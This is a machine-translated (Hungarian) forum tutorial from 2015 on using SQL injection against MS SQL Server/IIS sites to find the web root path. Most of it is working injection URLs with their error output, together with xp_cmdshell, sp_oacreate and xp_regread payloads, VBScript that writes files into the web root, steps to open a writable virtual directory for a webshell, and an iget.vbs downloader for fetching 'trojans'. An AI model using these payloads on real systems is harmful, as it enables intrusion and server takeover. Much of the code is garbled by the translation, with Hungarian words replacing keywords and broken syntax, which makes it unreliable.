Ez a cikk egy tükör gépi fordítás, kérjük, kattintson ide, hogy ugorjon az eredeti cikkre.

Nézet: 11906|Válasz: 0

[Biztonsági oktató] SQL injekció a teljes weboldal út eléréséhez

[Linket másol]
Közzétéve 2015. 02. 07. 22:19:16 | | |
SQL injekció a teljes weboldal út eléréséhez

Ha a weboldalon csak 80 port van, az alábbi módszerek hasznosabbak lesznek
Szinte minden módszer nem az, amit én felfedeztem, és a cikk mindig tartalmaz némi személyes tapasztalatot és készséget az injekciós befecskendezéskor
Négy módszer létezik (ma már ismert)

Első módszer:

Ezt a <怪异的SQL注入>módszert vezették be < >
A sqlserver xp_dirtree segítségével először beszéljünk a módszerről, majd az előnyeiről és hátrányairól (néhány kiegészítés az eredeti szöveg alapján történik)

Táblázatok létrehozása

Nyilatkozat:http://www.xxxxx.com/down/list.asp?id=1;create  Table dirs(paths varchar(1000))--
Hátra: Normál információ! Ez azt jelenti, hogy a táblázat sikeresen elkészült! Folytasd!
(A megépített kicsit nagyobb, mint az eredeti, mert találkoztam egy hosszú névű fájllal, és töröltem az azonosítót, mert haszontalan)

Nyilatkozat:http://www.xxxxx.com/down/list.asp?id=1;insert  Rendező, master.dbo.xp_dirtree 'C:\' --
Visszatérések: Normál információk. Ez azt jelenti, hogy minden C meghajtóra írt könyvtár sikeres! Menő! A következő lépés, hogy megszerezd a mérőt! Sértsd meg, és jöjj ki. (Úgy tűnik, csak egy módja van erre)

Nyilatkozat:http://www.xxxxx.com/down/list.asp?id=1  és 0<>(A DIRS-ből válassz ki a top 1 útvonalat)-
Returns: Microsoft OLE DB Provider for SQL Server error 80040e07
Szintaxishiba akkor fordul elő, amikor a varchar értéket '@Inetpub' egy adattípusú oszlopra konvertáljuk.

Aztán a táblázatban lévő könyvtárnevek is feltörnek!

Nyilatkozat:http:// http://www.xxxxx.com/down/list.asp?id=1  és 0<>(válassz ki a top 1 útvonalat a
Dirs, ahol az utak nem ( '@Inetpub')))--
Returns: Microsoft OLE DB Provider for SQL Server error 80040e07
Szintaxishiba fordult elő, amikor a varchar érték 'test'-ét int adattípusú oszlopra konvertáltuk.

Aztán a táblázatban lévő könyvtárnevek is feltörnek!
Rendben, folytassuk

Nyilatkozat:http:// http://www.xxxxx.com/down/list.asp?id=1  és 0<>(válassz ki a top 1 útvonalat a
Dirs, ahol az utak nincsenek be( '@Inetpub','teszt'))--
Returns: Microsoft OLE DB Provider for SQL Server error 80040e07
Szintaxishiba akkor fordul elő, amikor a varchar értéket 'haha' egy adattípusú int típusú oszlopra konvertáljuk.

Aztán a táblázatban lévő könyvtárnevek is feltörnek!

Oké, tudnod kell, hogyan kell csinálni, haha, csak add hozzá a táblázat nevét a zárójelbe, tegyél annyit, amennyit csak akarsz,

Egy kis trükk:

Néha ezt tapasztalhatod, ha a bemenet hasonló

http://www.xxxxx.com/down/list.asp?id=1  és 0<>(A DIRS-ből válassz ki a top 1 útvonalat)-

Ahelyett, hogy hibát mutatna, a weboldal normálisan jelenik meg
Szédülés, ne idegess
Nézd meg a 0<>-t (válassz a dirsből a top 1 útvonalat), hogy megmutassák, a visszacsatolás egy szám,
Haha, próbáld ki, mennyi az a

100>(Válassz ki a DIRS-ből a legjobb 1 útvonalat)

Visszatérés a normális állapotba
Haha, ezzel a módszerrel gyorsan tippelhetsz, hogy több, mint vagy kevesebb
Rendben, folytassuk
Például, amikor megjelenik

59=(Válassz Top 1 útvonalat a dirsből)

Térj vissza a normális állapotba,
Oké, a nevem 59
A következő módon lépj be

http:// http://www.xxxxx.com/down/list.asp?id=1  és 0<>(válassz ki a top 1 útvonalat a
Dirs, ahol az utak nincsenek be('59'))--

Ne felejtsd el idézőjeleket betenni
A következő módszer ugyanaz, mint az eredeti
Van egy probléma is
Néha, amikor a fenti módszerrel beírom az 59-et, azt tapasztalom, hogy a következő mappa még mindig 59
Mi történik?
Hehe, nem tudom, észrevetted-e, hogy a 059 és az 59 ugyanazok?
Ezért haha,

http:// http://www.xxxxx.com/down/list.asp?id=1  és 0<>(válassz ki a top 1 útvonalat a
Dirs, ahol az utak nincsenek be( '059'))--

Azt tapasztaltam, hogy a következő mappanév jelenik meg, rendben

Az előnyök és hátrányok elemzése:

Az előnye, hogy minden sqlserver felhasználó használhatja, mert xp_dirtree a PUBLIC engedélyt alkalmazza,
Hátránya, hogy megjeleníti a könyvtár összes mappájának nevét, és a rendeződés úgy tűnik, nem rendezett sorrendben, röviden: fájdalmas megtalálni a kívánt mappát több ezer vagy tízezer mappában.
És tudod, hogy az a mappa nem garantáltan lesz a gyökérkönyvtárban, ami nagyon fájdalmas, sokszor szerencsén és kitartáson múlik.
Sok sikert kívánok neked

2. módszer:

Használd xp_cmdshell

Haha, mindenki biztosan ismeri ezt, hadd mondjam el röviden

Táblázatok létrehozása

Nyilatkozat:http://www.xxxxx.com/down/list.asp?id=1;create  Table dirs(paths varchar(1000))--
Hátra: Normál információ! Ez azt jelenti, hogy a táblázat sikeresen elkészült! Folytasd!
(A megépített fájl kicsit nagyobb, mint az eredeti, mert találkoztam egy hosszú nevű fájltal, és töröltem azt az azonosítót, mert haszontalan.)

Nyilatkozat:http://www.xxxxx.com/down/list.asp?id=1;insertrendező master.dbo.xp_cmdshell 'DIR C:\ /B/D' --
Visszatérések: Normál információk. Ez azt jelenti, hogy minden C meghajtóra írt könyvtár sikeres! Itt a dir c:\ /B/D használatos, haha, ha nem tudod, mit csinál a /B/D, próbáld meg megnézni, mit csinál

Nyilatkozat:http://www.xxxxx.com/down/list.asp?id=1  és 0<>(A DIRS-ből válassz ki a top 1 útvonalat)-
Returns: Microsoft OLE DB Provider for SQL Server error 80040e07
Szintaxishiba akkor fordul elő, amikor a varchar értéket '@Inetpub' egy adattípusú oszlopra konvertáljuk.

Aztán a táblázatban lévő könyvtárnevek is feltörnek!

Nyilatkozat:http:// http://www.xxxxx.com/down/list.asp?id=1  és 0<>(válassz ki a top 1 útvonalat a
Dirs, ahol az utak nem ( '@Inetpub')))--
Returns: Microsoft OLE DB Provider for SQL Server error 80040e07
Szintaxishiba fordult elő, amikor a varchar érték 'test'-ét int adattípusú oszlopra konvertáltuk.

Aztán a táblázatban lévő könyvtárnevek is feltörnek!

A módszer ugyanaz, mint fent, így nem fogok erről beszélni

Néha a következő két kiterjesztéssel is tehetünk valamit

1) Kihasználhatjuk a xp_availablemedia lehetőségét, hogy megszerezzük az összes aktuális meghajtót, és elmentjük őket a dirs táblában:

5 ; Insert DIRS executive master.dbo.xp_availablemedia; --

A meghajtók listáját és kapcsolódó információkat a temp tartalmáról kérgetjük

(2) A xp_subdirs segítségével megszerezzük az alkönyvtárak listáját, és tároljuk azokat a dirs táblában:

5 ; Insert a DIRS exec master.dbo.xp_subdirs 'c:\' ; --

Az előnyök és hátrányok elemzése:

Nyilvánvalóan ez nem xp_dirtree az a helyzet, ahol az összes könyvtárat összerakják, csak az első szintű könyvtár jelenik meg, ami sokkal könnyebben megtalálható.
A hátrányok is nyilvánvalóak, csak az SA-nak van ilyen jogosultsága, és az is lehetséges, hogy az adminisztrátor törölte ezt a bővítményt (hiszen túl erőteljes).

3. módszer:

Ez a megközelítés jó
Az alábbiakban az eredeti szöveg látható
Gondolkodtam az adsutil.vbs programot, amit én futtattam

a'; Végrehajtó mester.. xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt'; --

Nem hosszú? Ezen keresztül be tudjuk állítani az első virtuális weboldalt IIS-ben (természetesen beleértve a tényleges könyvtárat is, ahol található).
Importálás a.txt
A a.txt tényleges helyének alapértelmezett beállítása természetesen c:\winnt\system32, ami valójában nem probléma, de amikor egy adsutil.vbs rendszert beállító adsutil.vbs rendszerrel találkozunk
Töröld vagy tedd máshová
Nem tehetünk semmit ellene (nem írhatsz egyet az echo parancs szerint)

2. lépés: Használd az echo parancsot, hogy a következő kódot írd c:\-ba, ami nem sok

..... xp_cmdshell 'echo set fso1=createobject("scripting.filesystemobject">c:\read.vbs'; --
..... xp_cmdshell 'echo Set WshShell = Wscript.createObject("Wscript.Shell">>c:\read.vbs'
; --
.....
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir"
set fil =fso1.opentextfile(spa & "\system32\aa.txt"
Tedd a file.atendofstream
nr=fil.readline
ha left(nr,4)="Út", akkor
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Kilépés Do
vége ha
Hurok
set fil1 =fso1.opentextfile(pa &"\dd.asp",2,true)
fil1.writeline ""
---------------Itt vág-------------------------------------

3. lépés: Természetesen a read.vbs futtatása, hogy a aa.txt tartalmát elolvassuk, és megtaláljuk a weboldal valódi útvonalát
Ezután írj egy dd.asp nevű fájlt a weboldal gyökérkönyvtárába, és tudni fogod, hogy sikeresen ki tudod-e próbálkozni
kivégezhttp://x.x.x.x/dd.asp
Visszatérések: \xxx
Haha, ez jó út,
Az eredeti szövegnek azonban vannak problémái
Az

set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
set fil1 =fso1.opentextfile(pa%2B"\dd.asp",2,true)

Hiba akkor fordul elő, ha két mondatot küldenek be
Így kitaláltuk a plusz jelet, amelynek ugyanaz a funkciója van, mint a &
És miről írjunk dd.asp? Írj apának, haha
Haha, megváltoztattam

-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir"
set fil =fso1.opentextfile(spa "\system32\aa.txt"
Tedd a file.atendofstream
nr=fil.readline
ha left(nr,4)="Út", akkor
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Kilépés Do
vége ha
Hurok
set fil1 =fso1.opentextfile(pa "\dd.asp",2,true)
fil1.writeline pa
---------------Itt vág--------------------------------------
Mivel a böngészőben történő beküldéskor az időszám szóközre változik, be kell állítanod a
Ez %2B lesz, rendben, rendben lesz, a következőképpen
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir"
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
Tedd a file.atendofstream
nr=fil.readline
ha left(nr,4)="Út", akkor
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Kilépés Do
vége ha
Hurok
set fil1 =fso1.opentextfile(pa %2B "\dd.asp",2,true)
fil1.writeline pa
---------------Itt vág--------------------------------------

Ha azt találjuk, hogy az 1 nincs ott, akkor 2, 3, 4 lehetünk...........

a'; Végrehajtó mester.. xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt'; --

De ez a módszer csak Windows 2000 alatt használható, mert az újonnan létrehozott weboldalak címei nem a 1234 szerint vannak rendezve, úgy tűnik, véletlenszerűen generálják, és több 2003 alatt is összehasonlítottam
cím, nem találtak szabályosságot.

Az előnyök és hátrányok elemzése:

Ugyanez xp_cmdshell Nem minden felhasználó használhatja! Egy másik probléma, hogy az adsutil fájl nem feltétlenül létezik, vagy nem feltétlenül ezen az úton van, bár használhatod, ha akarod
Echo ír egyet (haha, régi és régi), és egy másik kérdés, mi van, ha sok oldal van a hoston? Találkoztam egy kilenc helyű házigazdaval, és csak a nyolcadik hasznos
Igen, halpak, nehéz bárkinek türelme ennyit kitartani, talán már rég összeomlott. Ráadásul 2003-ban nem használható!
De őszintén szólva, ez a módszer valóban jó módszer

4. módszer:

Ez a módszer az, hogy a regiszterből az útvonalat xp_regread és más dolgokon keresztül olvassuk
Az alábbiak ajánlottak a weboldal útjának megszerzéséhez (a nyilvántartás elolvasásához a tárolt eljárások alapján):
Használd a beépített tárolt eljárást xp_regread (olvasás a regisztrációs kulcs, jogosultság nyilvános):

Nyilatkozat: http://www.xxx.com/list.asp?classid=1; create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) deklarál@test
Varchar (20) végrehajtó mester.. xp_regread @rootkey= HKEY_LOCAL_MACHINE , @key=
SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , values=@test OUTPUT beillesztés az utakba
(útvonal) értékek(@test)

IIS alapértelmezett útvonala a regiszterben HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\
Használd a burst mezőt az adatbázis értékének kiolvasásához:

Nyilatkozat: http://www.xxx.com/list.asp?classid=1 és 0<>(válassz top 1 útvonalat a newtable-ből)--return: Microsoft OLE DB Provider for
ODBC Drivers error 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server] átalakítja varchar értéket E:\www,,201 int adattípusává
oszlop.

Ez azt jelenti, hogy a weboldal könyvtár E:\www formátumban van, és akkor az FSO-val közvetlenül az ASP Trójahoz írhatsz
Mi van, ha nem tudsz webes könyvtárat beszerezni? Ki kell találni, hogy a weboldal az alapértelmezett WEB-et használja-e, vagy a domain nevet.

declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\mkwebdir.vbs -w "alapértelmezett weboldal" -v "e","e:\"'

Hozz létre egy virtuális E könyvtárat az alapértelmezett WEB-oldal alatt, amely az E: a lemez alatt mutat.

declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e bbounce'

Jó böngészési attribútumokat hozzáadni a virtuális könyvtárhoz e. Nyiss meg magadnak egy virtuális szolgáltatást. Ahogy azokra a weboldal-könyvtár útvonalakra gondolok, majdnem összetört a fejem. Most kinyitottam a szemem. Ez az a WEBSHELL, amely az MS-t használja
Az SQL a munkánk vége, és a következő munka a tiéd lesz.
Haha, a módszer jó, olvasd el a regisztrációs űrlapon, kényelmes és gyors!

Az előnyök és hátrányok elemzése:

Az előnye természetesen az, hogy kényelmes és gyors. A hátránya, hogy csak az alapértelmezett IIS oldal útvonalát látod, és ha már nem az alapértelmezett oldal, akkor semmit sem tehetsz (regsnape-tel követtem), ha 2003 alatt
Vagyis még az alapértelmezett oldalút sem jelenik meg! Fájdalmat érzek

Egyébként valójában vannak más módok is a behatolás folytatására, mint hogy megtalálod a weboldal útvonalát, például feltöltöd a visszapattanó trójat tftp-n keresztül, vagy írsz egy iget.vbs-t, hogy letöltsd a kívánt dongdongot
Az iget.vbs kód a következő:

---------Kezdés----------
Set xPost = createObject("Microsoft.XMLHTTP"
xPost.Open "GET",LCase(WScript.Arguments(0)),0
xPost.Send()
Set sGet = createObject("ADODB. Stream"
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile LCase(WScript.Arguments(1)),2
----------vége-----------

A cikk kiegészítése:

Nemrégiben azt tapasztaltam, hogy Mao elnök utasításainak megértése nem elég mély, és szeretném hozzátenni
Valójában a fenti módszereket egyáltalán nem kell összehasonlítani, xp_dirtree ezek a legjobbak, amennyiben ez az egy módszer elegendő
Csak azért, mert túl ..............
Ma újra feltárom xp_dirtree titkát
Rendben, csináljuk a mestert: xp_dirtree'd:/teszt'
Tegyük fel, hogy két mappánk van a tesztben, a test1 és a test2, valamint a teszt3 a teszt1-ben
Az eredmények azt mutatják, hogy

Alkönyvtár mélysége
teszt1 1
teszt3 2
teszt2 1

Haha, azt tapasztaltam, hogy nincs olyan mélység, ami a könyvtár sorozata lenne
Rendben, tudd, mit kell tenned

http://www.xxxxx.com/down/list.asp?id=1;create  Table dirs(paths varchar(1000),id int)--
http://www.xxxxx.com/down/list.asp?id=1;insert  Rendező master.dbo.xp_dirtree 'D:\' --
http://www.xxxxx.com/down/list.asp?id=1  és 0<>(válassz ki a felső 1 utakat a dirsből, ahol id=1)-

Amíg az id=1 hozzáadásra kerül, az az első szintű könyvtár.





Előző:Intruzió behatolás: HTTP fejlécek alkalmazása
Következő:Az Alipay átutalási képernyőképek egyetlen kattintással generálódnak
Lemondás:
A Code Farmer Network által közzétett összes szoftver, programozási anyag vagy cikk kizárólag tanulási és kutatási célokra szolgál; A fenti tartalmat nem szabad kereskedelmi vagy illegális célokra használni, különben a felhasználók viselik az összes következményet. Az oldalon található információk az internetről származnak, és a szerzői jogi vitáknak semmi köze ehhez az oldalhoz. A fenti tartalmat a letöltés után 24 órán belül teljesen törölni kell a számítógépéről. Ha tetszik a program, kérjük, támogassa a valódi szoftvert, vásároljon regisztrációt, és szerezzen jobb hiteles szolgáltatásokat. Ha bármilyen jogsértés történik, kérjük, vegye fel velünk a kapcsolatot e-mailben.

Mail To:help@itsvse.com